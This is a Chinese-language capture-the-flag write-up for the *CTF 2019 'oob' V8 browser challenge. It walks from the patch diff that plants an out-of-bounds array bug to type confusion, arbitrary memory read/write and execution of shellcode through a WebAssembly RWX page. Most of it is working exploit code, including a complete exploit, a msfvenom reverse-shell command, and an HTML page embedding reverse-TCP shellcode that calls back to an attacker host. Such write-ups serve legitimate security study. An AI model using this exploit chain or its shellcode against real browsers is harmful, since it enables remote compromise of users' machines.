• starctf 2019 oob


    出题形式

    一般浏览器的出题有两种,

    一种是diff修改v8引擎源代码,人为制造出一个漏洞,

    另一种是直接采用某个cve漏洞。

     

    一般在大型比赛中会直接采用第二种方式,更考验选手的实战能力

     

     

    出题者通常会提供一个diff文件,或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件,就需要我们自己去下载相关的commit源码,然后本地打上diff补丁,编译出浏览器程序,再进行本地调试

     

    git apply < oob.diff
    

      

    应用补丁,然后再编译即可

    思路

    1 分析漏洞

    2 实现任意地址读写

    3 利用wasm执行shellcode

    分析diff

    star ctf oob题目举例

    diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
    index b027d36..ef1002f 100644
    --- a/src/bootstrapper.cc
    +++ b/src/bootstrapper.cc
    @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                               Builtins::kArrayPrototypeCopyWithin, 2, false);
         SimpleInstallFunction(isolate_, proto, "fill",
                               Builtins::kArrayPrototypeFill, 1, false);
    +    SimpleInstallFunction(isolate_, proto, "oob",
    +                          Builtins::kArrayOob,2,false);
         SimpleInstallFunction(isolate_, proto, "find",
                               Builtins::kArrayPrototypeFind, 1, false);
         SimpleInstallFunction(isolate_, proto, "findIndex",
    diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
    index 8df340e..9b828ab 100644
    --- a/src/builtins/builtins-array.cc
    +++ b/src/builtins/builtins-array.cc
    @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
       return *final_length;
     }
     }  // namespace
    +BUILTIN(ArrayOob){
    +    uint32_t len = args.length();
    +    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    +    Handle<JSReceiver> receiver;
    +    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
    +            isolate, receiver, Object::ToObject(isolate, args.receiver()));
    +    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    +    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    +    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    +    if(len == 1){
    +        //read
    +        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    +    }else{
    +        //write
    +        Handle<Object> value;
    +        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
    +                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
    +        elements.set(length,value->Number());
    +        return ReadOnlyRoots(isolate).undefined_value();
    +    }
    +}
     
     BUILTIN(ArrayPush) {
       HandleScope scope(isolate);
    diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
    index 0447230..f113a81 100644
    --- a/src/builtins/builtins-definitions.h
    +++ b/src/builtins/builtins-definitions.h
    @@ -368,6 +368,7 @@ namespace internal {
    TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     
    /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   
    TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  
    +  CPP(ArrayOob)                                                                
    
    /* ArrayBuffer */                                                            
    /* ES #sec-arraybuffer-constructor */                                        
    diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
    index ed1e4a5..c199e3a 100644
    --- a/src/compiler/typer.cc
    +++ b/src/compiler/typer.cc
    @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
    return Type::Receiver();
    case Builtins::kArrayUnshift:
    return t->cache_->kPositiveSafeInteger;
    +    case Builtins::kArrayOob:
    +      return Type::Receiver();
    // ArrayBuffer functions.
    case Builtins::kArrayBufferIsView:
    

      

    可以看到给array对象新加了一个oob函数

    a.oob()    会直接越界8字节返回一个8字节数据

    a.oob(xxx)    会把xxx写入到越界的那8字节去

    利用8字节数组越界

    使用如下代码时,越界8字节刚好是array对象的map字段

    var a = [1,2,3,1.1];        // 最后需要是浮点数
    %DebugPrint(a);
    %SystemBreak();
    

      

    测试是否符合我们的想法

    var a = [1,2,3,1.1];
    %DebugPrint(a);
    %SystemBreak();
    var data = a.oob();
    console.log("[*] oob return data:" + data.toString());
    %SystemBreak();
    a.oob(2);
    %SystemBreak();
    

      

    覆盖map属性的利用,类型混淆

    可以覆盖map属性,可以造成类型混淆

    实现addressOf和fakeObject

    var buf =new ArrayBuffer(16);
    var float64 = new Float64Array(buf);
    var bigUint64 = new BigUint64Array(buf);
    // 浮点数转换为64位无符号整数
    function f2i(f)
    {
        float64[0] = f;
        return bigUint64[0];
    }
    // 64位无符号整数转为浮点数
    function i2f(i)
    {
        bigUint64[0] = i;
        return float64[0];
    }
    // 64位无符号整数转为16进制字节串
    function hex(i)
    {
        return i.toString(16).padStart(16, "0");
    }
    
    
    var obj = {"a": 1};
    var obj_array = [obj];
    var float_array = [1.1];
    var obj_array_map = obj_array.oob();
    var float_array_map = float_array.oob();
    
    // 泄露指定对象的地址
    // 把对象数组变成浮点数组
    function addressOf(obj_to_leak){
        obj_array[0] = obj_to_leak;
        // type(obj)-->type(float)
        obj_array.oob(float_array_map);
        let addr = f2i(obj_array[0])-1n;
        obj_array.oob(obj_array_map);
        return addr;
    }
    
    // 返回一个位于指定地址的对象
    // 把浮点数组变成对象数组
    function fakeObject(addr_to_fake){
        float_array[0] = i2f(addr_to_fake+1n);
        // type(float)-->type(obj)
        float_array.oob(obj_array_map);
        let fake_obj = float_array[0];
        float_array.oob(float_array_map);
        return fake_obj;
    }
    

      

    实现任意地址读写

    如果我们能够控制某块内存的内容,同时把这块内存伪造成一个虚假的对象——这里就是浮点数组对象,那么这个数组对象的element属性是可以控制的,通过控制该属性的值就可以做到任意地址读写了

    // read & write anywhere
    // 这是一块我们可以控制的内存
    var fake_array = [
        float_array_map,
        i2f(0n),
        i2f(0x41414141n),// fake obj's elements ptr
        i2f(0x1000000000n),
        1.1,
        2.2,
    ];
    
    // 获取到这块内存的地址
    var fake_array_addr = addressOf(fake_array);
    // 将可控内存转换为对象
    // 数据真正的起始点
    var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
    var fake_object = fakeObject(fake_object_addr);
    // 任意地址读
    function read64(addr)
    {
        fake_array[2] = i2f(addr - 0x10n + 0x1n);
        let leak_data = f2i(fake_object[0]);
        return leak_data;
    }
    // 任意地址写
    function write64(addr, data)
    {
        fake_array[2] = i2f(addr - 0x10n + 0x1n);
        fake_object[0] = i2f(data);    
    }
    

      

    通过上面的方式任意地址写,在写0x7fxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。这里有另外一种方式来解决这个问题,DataView对象中的backing_store会指向申请的data_buf,修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

    var data_buf = new ArrayBuffer(8);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
    function writeDataview(addr,data){
        write64(buf_backing_store_addr, addr);
        data_view.setBigUint64(0, data, true);
        console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
    }
    

      

    getshell

    常规pwn题思路

    由于已经具有任意地址读写的能力了,那么泄露出来libc地址然后改__free_hook为system就可以了

     

    不稳定泄漏内存的方式

    任意的创建一个数组,输出数组的地址后,往前搜索内存,会发现在其前面0x8000处附近的内存中存放了程序的地址,由此可以算出来程序基址。接着任意地址读泄露libc,修改__free_hook便可getshell了。

    # 数组的地址: 0x00001a72862119d8
    # 查看程序段的内存空间
    gdb-peda$ vmmap d8
    Start              End                Perm  Name
    0x00005604d2bd9000 0x00005604d2e70000 r--p  /home/em/Desktop/software/v8/out.gn/x64.release/d8
    0x00005604d2e70000 0x00005604d3936000 r-xp  /home/em/Desktop/software/v8/out.gn/x64.release/d8
    0x00005604d3936000 0x00005604d3976000 r--p  /home/em/Desktop/software/v8/out.gn/x64.release/d8
    0x00005604d3976000 0x00005604d3980000 rw-p  /home/em/Desktop/software/v8/out.gn/x64.release/d8
    # 在指定范围内搜索包含程序地址的地址
    gdb-peda$ find 0x5604d2 0x00001a7286201000 0x00001a7286211900
    Searching for '0x5604d2' in range: 0x1a7286201000 - 0x1a7286211900
    Found 16 results, display max 16 items:
    mapped : 0x1a7286201033 --> 0xf80b7100005604d2 
    mapped : 0x1a7286201043 --> 0xf81f4900005604d2 
    mapped : 0x1a7286201073 --> 0xf80b7100005604d2 
    mapped : 0x1a7286201083 --> 0xf81f4900005604d2 
    mapped : 0x1a72862010c3 --> 0xf80b7100005604d2 
    mapped : 0x1a72862010d3 --> 0xf8080100005604d2 
    mapped : 0x1a72862011d3 --> 0xf80b7100005604d2 
    mapped : 0x1a72862011e3 --> 0xf81f4900005604d2 
    mapped : 0x1a728620120b --> 0xf80b7100005604d2 
    mapped : 0x1a728620121b --> 0xf81f4900005604d2 
    mapped : 0x1a7286201243 --> 0xf80b7100005604d2 
    mapped : 0x1a7286201253 --> 0xf81f4900005604d2 
    mapped : 0x1a728620127b --> 0xf80b7100005604d2 
    mapped : 0x1a728620128b --> 0xf81f4900005604d2 
    mapped : 0x1a72862012b3 --> 0xf80b7100005604d2 
    mapped : 0x1a72862012c3 --> 0xf81f4900005604d2 
    
    gdb-peda$ x/10xg 0x1a7286201033-3
    0x1a7286201030: 0x00005604d2e7a9c0  0x00003ea297f80b71
    0x1a7286201040: 0x00005604d2e7a9c0  0x00003ea297f81f49
    0x1a7286201050: 0x0000000a1f95f882  0x0000324a7a29c3d1
    0x1a7286201060: 0x00003ea297f80321  0x00003ea297f80b71
    0x1a7286201070: 0x00005604d2e7ad20  0x00003ea297f80b71
    #搜索出来的地址确实属于程序段
    gdb-peda$ vmmap 0x00005604d2e7a9c0
    Start              End                Perm  Name
    0x00005604d2e70000 0x00005604d3936000 r-xp  /home/em/Desktop/software/v8/out.gn/x64.release/d8
    泄漏libc地址的脚本
    
    // leak libc base
    var a = [1.1, 2.2, 3.3];
    var start_addr = addressOf(a);
    var leak_d8_addr = 0n;
    start_addr = start_addr-0x8000n;
    while(1){
        start_addr = start_addr-8n;
        leak_d8_addr = read64(start_addr);
        if(((leak_d8_addr&0x0000ff0000000fffn)==0x00005600000009c0n)||((leak_d8_addr&0x0000ff0000000fffn)==0x00005500000009c0n)){
            console.log("leak process addr success: "+hex(leak_d8_addr));
            break;
        }
    }
    

      

    稳定泄漏的方式

    v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。

     

    浏览器直接运行shellcode wasm

    wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。

    https://wasdk.github.io/WasmFiddle/ 可以在线将c转换成wasm并生成js调用代码

     

    利用思路

    1 加载正常wasm

    2 通过addressOf找到wasm地址

    3 通过任意地址写修改wasm内容

    4 调用wasm

    寻找wasm存放代码的地址

    通过Function—>shared_info—>WasmExportedFunctionData—>instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址

    var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
    var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
    var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
    var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
    console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
    

      

     

    shellcode 的生成和写入

    var shellcode=[
        0x6e69622fbb48f631n,
        0x5f54535668732f2fn,
        0x050fd231583b6an
    ];
    // 原始的shellcode是
    // shellcode = “x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05”(23字节)
    
    var data_buf = new ArrayBuffer(24);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
    
    write64(buf_backing_store_addr, rwx_page_addr);  //这里写入之前泄露的rwx_page_addr地址
    for (var i = 0; i < shellcode.length; i++)
        data_view.setBigUint64(8*i, shellcode[i], true);
    f();//调用wasm,实际调用到了shellcode
    

      

    完整的exp

    star ctf 2019 oob

    // ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
    var buf = new ArrayBuffer(16);
    var float64 = new Float64Array(buf);
    var bigUint64 = new BigUint64Array(buf);
    // 浮点数转换为64位无符号整数
    function f2i(f)
    {
        float64[0] = f;
        return bigUint64[0];
    }
    // 64位无符号整数转为浮点数
    function i2f(i)
    {
        bigUint64[0] = i;
        return float64[0];
    }
    // 64位无符号整数转为16进制字节串
    function hex(i)
    {
        return i.toString(16).padStart(16, "0");
    }
    // ××××××××2. addressOf和fakeObject的实现××××××××
    var obj = {"a": 1};
    var obj_array = [obj];
    var float_array = [1.1];
    var obj_array_map = obj_array.oob();//oob函数出来的就是map
    var float_array_map = float_array.oob();
    
    // 泄露某个object的地址
    function addressOf(obj_to_leak)
    {
        obj_array[0] = obj_to_leak;
        obj_array.oob(float_array_map);
        let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
        obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
        return obj_addr;
    }
    function fakeObject(addr_to_fake)
    {
        float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
        float_array.oob(obj_array_map);
        let faked_obj = float_array[0];
        float_array.oob(float_array_map); // 还原array类型以便后续继续使用
        return faked_obj;
    }
    // ××××××××3.read & write anywhere××××××××
    // 这是一块我们可以控制的内存
    var fake_array = [                //伪造一个对象
        float_array_map,
        i2f(0n),
        i2f(0x41414141n),// fake obj's elements ptr
        i2f(0x1000000000n),
        1.1,
        2.2,
    ];
    
    // 获取到这块内存的地址
    var fake_array_addr = addressOf(fake_array);
    // 将可控内存转换为对象
    var fake_object_addr = fake_array_addr - 0x30n;
    var fake_object = fakeObject(fake_object_addr);
    // 任意地址读
    function read64(addr)
    {
        fake_array[2] = i2f(addr - 0x10n + 0x1n);
        let leak_data = f2i(fake_object[0]);
        return leak_data;
    }
    // 任意地址写
    function write64(addr, data)
    {
        fake_array[2] = i2f(addr - 0x10n + 0x1n);
        fake_object[0] = i2f(data);    
    }
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;
    var f_addr = addressOf(f);
    console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
    var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
    var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
    var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
    var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
    console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
    var shellcode=[
    0x6e69622fbb48f631n,
    0x5f54535668732f2fn,
    0x050fd231583b6an
        ];
    var data_buf = new ArrayBuffer(24);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
    write64(buf_backing_store_addr, rwx_page_addr);  //这里写入之前泄露的rwx_page_addr地址
    for (var i = 0; i < shellcode.length; i++)
    data_view.setBigUint64(8*i, shellcode[i], true);
    f();
    

      

    远程getshell

    生成shellcode

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=you_ip_addr LPORT=21000 -f python -o ~/Desktop/tmp/shellcode.txt
    

      

    将js包装成html

    启动chrome时需要关闭沙箱 ./chrome –no-sandbox

    <!DOCTYPE html>
    <html>
    <body>
    
    <h2>Hello world!</h2>
    
    <script>
    var buf =new ArrayBuffer(16);
    var float64 = new Float64Array(buf);
    var bigUint64 = new BigUint64Array(buf);
    // 浮点数转换为64位无符号整数
    function f2i(f)
    {
        float64[0] = f;
        return bigUint64[0];
    }
    // 64位无符号整数转为浮点数
    function i2f(i)
    {
        bigUint64[0] = i;
        return float64[0];
    }
    // 64位无符号整数转为16进制字节串
    function hex(i)
    {
        return i.toString(16).padStart(16, "0");
    }
    
    
    var obj = {"a": 1};
    var obj_array = [obj];
    var float_array = [1.1];
    var obj_array_map = obj_array.oob();
    var float_array_map = float_array.oob();
    // %DebugPrint(float_array_map);
    // %SystemBreak();
    
    
    function addressOf(obj_to_leak){
        obj_array[0] = obj_to_leak;
        // type(obj)-->type(float)
        obj_array.oob(float_array_map);
        let addr = f2i(obj_array[0])-1n;
        obj_array.oob(obj_array_map);
        return addr;
    }
    
    function fakeObject(addr_to_fake){
        float_array[0] = i2f(addr_to_fake+1n);
        // type(float)-->type(obj)
        float_array.oob(obj_array_map);
        let fake_obj = float_array[0];
        float_array.oob(float_array_map);
        return fake_obj;
    }
    
    // read & write anywhere
    var fake_array = [
        float_array_map,
        i2f(0n),
        i2f(0x41414141n),
        i2f(0x1000000000n),
        1.1,
        2.2,
    ];
    
    var fake_array_addr = addressOf(fake_array);
    var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
    var fake_object = fakeObject(fake_object_addr);
    function read64(addr)
    {
        fake_array[2] = i2f(addr - 0x10n + 0x1n);
        let leak_data = f2i(fake_object[0]);
        // console.log("fake obj: 0x"+hex(f2i(fake_object[0])));
        // console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
        return leak_data;
    }
    
    function write64(addr, data)
    {
        fake_array[2] = i2f(addr - 0x10n + 0x1n);
        // console.log("[*] fakeobj addr: 0x"+hex(addressOf(fake_object)));
        fake_object[0] = i2f(data);
        console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
    }
    
    var data_buf = new ArrayBuffer(8);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
    function writeDataview(addr,data){
    write64(buf_backing_store_addr, addr);
    data_view.setBigUint64(0, data, true);
    // %SystemBreak();
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
    }
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;
    var f_addr = addressOf(f);
    console.log("f addr: 0x"+hex(f_addr));
    var shared_info_addr = read64(f_addr+0x18n)-0x1n;
    var wasm_exported_function = read64(shared_info_addr+8n)-1n;
    var instance_addr = read64(wasm_exported_function+0x10n)-1n;
    var rwx_page_addr = read64(instance_addr+0x88n);
    console.log("rwx page addr: 0x"+hex(rwx_page_addr));
    shellcode = [
    0x6a5f026a9958296an,
    0xb9489748050f5e01n,
    0xbc9ae16808520002n,
    0x6a5a106ae6894851n,
    0x485e036a050f582an,
    0x75050f58216aceffn,
    0x2fbb4899583b6af6n,
    0x530068732f6e6962n,
    0xe689485752e78948n,
    0x50fn
        ];
    var data_buf = new ArrayBuffer(80);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
    write64(buf_backing_store_addr, rwx_page_addr);
    for (var i = 0; i < shellcode.length; i++)
    data_view.setBigUint64(8*i, shellcode[i], true);
    f();
    </script> 
    </body>
    </html>
    

      

  • 相关阅读:
    bootstrap
    史上最全Html和CSS布局技巧
    三种实现左右固定,中间自适应的三栏布局方式
    网页布局常用样式属性
    去除inline-block间隙的几种方法
    HTML&CSS——使用DIV和CSS完成网站首页重构
    I want to be a Great Web Front-end Developer
    js常用函数汇总(不定期更新)
    关于git stash的应用总结
    vue 自定义指令
  • 原文地址:https://www.cnblogs.com/junmoxiao/p/14009962.html
Copyright © 2020-2023  润新知